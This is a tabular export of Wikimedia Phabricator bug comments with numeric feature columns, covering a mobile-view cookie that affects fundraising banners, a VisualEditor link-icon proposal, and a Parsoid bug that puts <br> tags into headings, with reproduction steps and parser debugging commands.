249782,Switching to mobile view and back leaves cookie behind,"Change 73999 merged by jenkins-bot:
(Bug 51465) No Longer Filtering Mobile Devices

https://gerrit.wikimedia.org/r/73999",,,1374005801,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.2,1.0,"Change 73999 merged by jenkins-bot:
(Bug 51465) No Longer Filtering Mobile Devices

GERRIT_URL"
249779,Switching to mobile view and back leaves cookie behind,"Change 73999 had a related patch set uploaded by Mwalker:
(Bug 51465) No Longer Filtering Mobile Devices

https://gerrit.wikimedia.org/r/73999",,,1374004590,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,39.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.391304347826087,1.0,"Change 73999 had a related patch set uploaded by Mwalker:
(Bug 51465) No Longer Filtering Mobile Devices

GERRIT_URL"
249773,Switching to mobile view and back leaves cookie behind,"**mwalker** wrote:

Fundraising's initial response is going to be just to just remove the filtering -- however, it would be a good feature for mobile frontend if that cookie was somewhat smarter (enough to remove itself when not needed / or track where it came from originally: varnish vs url click.)

Removing the filtering comes at the expense of potentially exposing users to banners that don't work particularly well on small screens.",,,1374004272,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pl2ghnqidzao7i2kjzgp,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,2.0,7.0,3.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,14.0,13.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,15.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,5.0,5.0,2.0,3.0,1.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,13.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,1.0,3.0,1.0,0.0,0.0,4.241379310344827,0.8045977011494253,"**mwalker** wrote:

Fundraising's initial response is going to be just to just remove the filtering -- however, it would be a good feature for mobile frontend if that cookie was somewhat smarter (enough to remove itself when not needed / or track where it came from originally: varnish vs url click.)

Removing the filtering comes at the expense of potentially exposing users to banners that don't work particularly well on small screens."
53464,"VisualEditor: Use a ""broken link"" icon as the ""remove"" button in the link inspector, instead of a rubbish bin","There is consensus for a change to this element here: http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Dustbin_icon_not_intuitive_for_.22unlink.22

To summarize - the garbage can icon to remove a link is not intuitive.  Users may be unsure of its function, or believe it will remove the highlighted text, rather than just the link.  Most other editing UI's employ a broken link for this function, so it will be more familiar.

Suggested improvement:

*Replace ""Garbage Can/Dustbin"" with a ""broken link"" icon (example:http://us.fotolia.com/id/49483380)

*Replace current rollover text ""Remove"" with ""Unlink""

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374002400,1403977522.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-ygze3evr6iu2qv2rw7yu,task_description,invalid,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,0.5,5.5,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,3.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,1.5,0.5,2.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,0.0,0.0,11.5,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,2.5,11.5,1.0,0.5,5.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,2.0,6.0,3.0,0.0,6.0,0.0,2.0,0.0,0.0,2.5,0.0,0.5,1.0,0.5,0.0,3.8125,0.6953125,"There is consensus for a change to this element here: URL

To summarize - the garbage can icon to remove a link is not intuitive.  Users may be unsure of its function, or believe it will remove the highlighted text, rather than just the link.  Most other editing UI's employ a broken link for this function, so it will be more familiar.

Suggested improvement:

*Replace ""Garbage Can/Dustbin"" with a ""broken link"" icon (example:URL

*Replace current rollover text ""Remove"" with ""Unlink""

--------------------------
**Version**: unspecified
**Severity**: enhancement"
249720,"VisualEditor: Use a ""broken link"" icon as the ""remove"" button in the link inspector, instead of a rubbish bin","We've decided instead to remove the use of icons here as it's too confusing, and instead will use just the label.",,,1403977522,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ygze3evr6iu2qv2rw7yu,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,20.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.72,0.88,"We've decided instead to remove the use of icons here as it's too confusing, and instead will use just the label."
53444,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"See:
http://en.wikipedia.org/w/index.php?title=User%3ACananian&diff=564446937&oldid=564446873

I was adding a heading (after a <!-- ... --> comment) and the diff stuck a <br> inside the ==heading==.

I'm assigning this bug to VE for the moment, but it could be a parsoid bug.  I need to see the intermediate parsoid HTML generated for the change to tell one way or the other.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1373986620,1447795442.0,PHID-USER-m2ezqyeb4uz67zq6bats,False,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-TASK-gqdob64njr6frqrzr75a,task_description,resolved,True,c1,3,True,False,False,2,,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,10.0,0.0,3.0,12.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,4.0,8.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,3.3118279569892475,0.6451612903225806,"See:
URL

I was adding a heading (after a <!-- ... --> comment) and the diff stuck a <br> inside the ==heading==.

I'm assigning this bug to VE for the moment, but it could be a parsoid bug.  I need to see the intermediate parsoid HTML generated for the change to tell one way or the other.

--------------------------
**Version**: unspecified
**Severity**: minor"
564473,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,Parsoid now normalizes this HTML to strip <br> from headings - the code is now in production.,,,1447795442,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,124,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.85,0.95,Parsoid now normalizes this HTML to strip <br> from headings - the code is now in production.
563015,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"Change 253050 merged by jenkins-bot:
T53444: Strip <br>s from headings via new HTML normalization routine

[[https://gerrit.wikimedia.org/r/253050]]",,,1447461206,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,123,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.7241379310344827,0.896551724137931,"Change 253050 merged by jenkins-bot:
T53444: Strip <br>s from headings via new HTML normalization routine

[[GERRIT_URL]]"
562981,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"Change 253050 had a related patch set uploaded (by Subramanya Sastry):
T53444: Strip <br>s from headings via new HTML normalization routine

[[https://gerrit.wikimedia.org/r/253050]]
",,,1447455845,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,123,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,3.914285714285714,0.9142857142857143,"Change 253050 had a related patch set uploaded (by Subramanya Sastry):
T53444: Strip <br>s from headings via new HTML normalization routine

[[GERRIT_URL]]
"
541236,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"If you want an example of how that happens on a private wiki, see above line 114 [[ https://office.wikimedia.org/w/index.php?title=Community_Engagement_(Product)/Editing&diff=prev&oldid=158096 | here ]]. It doesn't involve hidden comments.",,,1444058682,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,118,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.272727272727273,0.9090909090909091,"If you want an example of how that happens on a private wiki, see above line 114 [[ URL | here ]]. It doesn't involve hidden comments."
539398,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"Unless it advances the consistency of parsing, I am not convinced this is worth a lot of effort beyond normalization during serialization. The WYSIWYG behavior is clearly an edge-case since wikitext does not support multi-line headings. So, if VE folks are with it, I am fine with it.",,,1443736308,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,2.0,3.0,9.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,12.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,16.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.086206896551724,0.7758620689655172,"Unless it advances the consistency of parsing, I am not convinced this is worth a lot of effort beyond normalization during serialization. The WYSIWYG behavior is clearly an edge-case since wikitext does not support multi-line headings. So, if VE folks are with it, I am fine with it."
539392,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"WYSIWYG is tricky here.  In this case, the user clearly saw the entire paragraph, including the newline, being styled as part of the heading.  If we handle this during normalization, then the result after saving will not be consistent with what the user saw during editing.

@Jdforrester-WMF It's //possible// that existing-tidy wouldn't remove `<p><!--comment--></p>` because of the embedded comment.  Currently PHP elides all the comments, so it hands tidy the string `<p></p>` which tidy happily removes.  So it's possible we could finesse this somehow, for example by emitting a stub comment from the PHP parser.  Investigation needed.",,,1443735812,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,117,,1.0,0.0,0.0,0.5,1.5,2.5,1.0,1.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,1.5,0.0,6.0,9.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.5,0.0,5.5,1.0,2.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,7.0,1.5,8.5,2.0,1.0,10.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5,9.5,3.5,0.0,0.0,0.0,3.5,0.0,1.5,1.0,0.0,2.5,0.0,0.0,0.0,4.211528291909042,0.756081438392385,"WYSIWYG is tricky here.  In this case, the user clearly saw the entire paragraph, including the newline, being styled as part of the heading.  If we handle this during normalization, then the result after saving will not be consistent with what the user saw during editing.
SCREEN_NAME-WMF It's //possible// that existing-tidy wouldn't remove CODE because of the embedded comment.  Currently PHP elides all the comments, so it hands tidy the string CODE which tidy happily removes.  So it's possible we could finesse this somehow, for example by emitting a stub comment from the PHP parser.  Investigation needed."
539384,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,Maybe worth handling this in the normalization routines.,,,1443735363,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.444444444444445,1.0,Maybe worth handling this in the normalization routines.
539038,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"Would fixing the PHP Parser require us to have replaced Tidy first, then?",,,1443714586,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,27.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,20.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,4.066666666666666,1.0,"Would fixing the PHP Parser require us to have replaced Tidy first, then?"
539019,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"The original document was serialized with the `<br/>`:
```
$ (echo 'foo' ; echo; echo '<!--comment-->'; echo; echo 'bar') | tests/parse.js  --normalize=parsoid

<p>foo</p>
<!--comment-->
<p><br/> bar</p>
```
I wonder if we should be generating `<p><!--comment--></p>` for that case, instead of the `<br/>` embedded inside the next paragraph.  Our current behavior is consistent with PHP:
```
$ (echo 'foo' ; echo; echo '<!--comment-->'; echo; echo 'bar') | php maintenance/parse.php --quiet
<p>foo
</p><p><br />
bar
</p>
```
...but it's certainly not ideal from an editing perspective.  Maybe PHP should change here as well, although I'm guessing the reason it is putting the `<br/>` inside the `<p>` is because otherwise `tidy` would strip the ""empty"" `<p>` tag.

In any case, given this input DOM, VE's behavior is strange but understandable -- when you put your cursor between the exclamation mark and the last written line, VE is placing its internal insertion point between the `<p>` and the `<br/>`, so any heading conversion applies to the entire `<p>` contents, including the embedded `<br/>`.  The result that VE passes back to parsoid is then unsurprising:
```
<p id=""mwAQ"">some text</p> <!-- hidden comments FTW --><h2>Foo<br id=""mwAw""> moar text here</h2>
```
and Parsoid gives a faithful serialization of this as wikitext.",,,1443713401,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,16.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,38.0,4.090909090909091,0.5636363636363636,"The original document was serialized with the CODE:
``CODE`CODE<p><!--comment--></p>CODE<br/>CODE`CODE`CODE<br/>CODE<p>CODEtidyCODE<p>CODE<p>CODE<br/>CODE<p>CODE<br/>CODE`CODE``
and Parsoid gives a faithful serialization of this as wikitext."
435772,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"The page is nominated for deletion, but [[https://en.wikipedia.org/w/index.php?title=Sabaragamuwa_Province_(Sri_Lanka)_bus_routes&diff=next&oldid=654323182| here's another example]].",,,1427805964,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,91,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.388888888888889,0.8888888888888888,"The page is nominated for deletion, but [[URL here's another example]]."
422154,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"Providing steps.
1) Start with [[ https://test.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=prev&oldid=223541 | a new or a blank page ]].
2) In wikitext mode, [[ https://test.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=next&oldid=223541 | write something on the first line, leave a blank line, write a hidden comment, leave a blank line, write something else ]], then Save.
3) Now enter VE mode. Notice the hidden comment is correctly displayed as an exclamation mark; there is now a carriage return sign at the beginning of the last line. 
4) Put the cursor in the blank line between the comment and the last written line. You can now write any word, select it and turn it into a heading or a subheading; notice the entire line below, including the carriage return sign, also becomes part of said heading/subheading.
5) Save. [[ https://test.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=223543&oldid=223542 | You now have wikitext for the heading/subheading you just made, showing up in plain sight ]]. You can also notice that the carriage return character was turned into a br tag.

Reproducible: Always.
Tested in Win 8 with the latest versions of Chrome, Firefox, IE, Opera (the last two while logged out). ",,,1425651893,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,87,,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,4.666666666666667,0.0,0.0,0.0,0.0,2.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,4.0,8.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.3333333333333333,1.6666666666666667,0.6666666666666666,3.0,1.6666666666666667,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.3333333333333333,14.333333333333334,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,8.333333333333334,1.0,8.666666666666666,1.0,1.3333333333333333,8.666666666666666,0.0,0.0,0.0,0.0,4.666666666666667,0.0,1.0,0.0,2.3333333333333335,8.0,3.3333333333333335,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,3.3333333333333335,0.0,1.6666666666666667,0.0,0.3333333333333333,3.6666666666666665,3.5,0.6623931623931624,"Providing steps.
1) Start with [[ URL | a new or a blank page ]].
2) In wikitext mode, [[ URL | write something on the first line, leave a blank line, write a hidden comment, leave a blank line, write something else ]], then Save.
3) Now enter VE mode. Notice the hidden comment is correctly displayed as an exclamation mark; there is now a carriage return sign at the beginning of the last line. 
4) Put the cursor in the blank line between the comment and the last written line. You can now write any word, select it and turn it into a heading or a subheading; notice the entire line below, including the carriage return sign, also becomes part of said heading/subheading.
5) Save. [[ URL | You now have wikitext for the heading/subheading you just made, showing up in plain sight ]]. You can also notice that the carriage return character was turned into a br tag.

Reproducible: Always.
Tested in Win 8 with the latest versions of Chrome, Firefox, IE, Opera (the last two while logged out). "
422152,VisualEditor: Sometimes it's somehow possible for VE/Parsoid to insert a <br> at the start of a heading,"Providing steps.
1) Start with [[ https://test.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=prev&oldid=223541 | a new or a blank page ]].
2) In wikitext mode, [[ https://test.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/Sandbox&diff=next&oldid=223541 | write something on the first line, leave a blank line, write a hidden comment, leave a blank line, write something else ]], then Save.
3) Now enter VE mode. Notice the hidden comment is correctly displayed as an exclamation mark; there is now a carriage return sign at the beginning of the last line. 
4) Put the cursor in the blank line between the comment and the last written line. You can now write any word, select it and turn it into a heading or a subheading; notice the entire line below, including the carriage return sign, also becomes part of said heading/subheading.
5) Save. [[ https://test.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=223543&oldid=223542 | You now have wikitext for the heading/subheading you just made in plain sight ]]. You can also notice that the carriage return character was turned into a br tag.

Reproducible: Always.
Tested in Win 8 with the latest versions of Chrome, Firefox, IE, Opera (the last two while logged out). ",,,1425651818,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gqdob64njr6frqrzr75a,task_subcomment,,True,c1,3,False,,,87,,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,4.666666666666667,0.0,0.0,0.0,0.0,2.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,4.0,7.666666666666667,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.3333333333333333,1.0,0.6666666666666666,3.0,1.6666666666666667,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.3333333333333333,14.333333333333334,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,8.333333333333334,1.0,9.0,1.0,1.3333333333333333,8.666666666666666,0.0,0.0,0.0,0.0,4.666666666666667,0.0,1.0,0.0,2.3333333333333335,7.666666666666667,3.3333333333333335,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,3.3333333333333335,0.0,1.0,0.0,0.3333333333333333,3.6666666666666665,3.502164502164502,0.658008658008658,"Providing steps.
1) Start with [[ URL | a new or a blank page ]].
2) In wikitext mode, [[ URL | write something on the first line, leave a blank line, write a hidden comment, leave a blank line, write something else ]], then Save.
3) Now enter VE mode. Notice the hidden comment is correctly displayed as an exclamation mark; there is now a carriage return sign at the beginning of the last line. 
4) Put the cursor in the blank line between the comment and the last written line. You can now write any word, select it and turn it into a heading or a subheading; notice the entire line below, including the carriage return sign, also becomes part of said heading/subheading.
5) Save. [[ URL | You now have wikitext for the heading/subheading you just made in plain sight ]]. You can also notice that the carriage return character was turned into a br tag.

Reproducible: Always.
Tested in Win 8 with the latest versions of Chrome, Firefox, IE, Opera (the last two while logged out). "
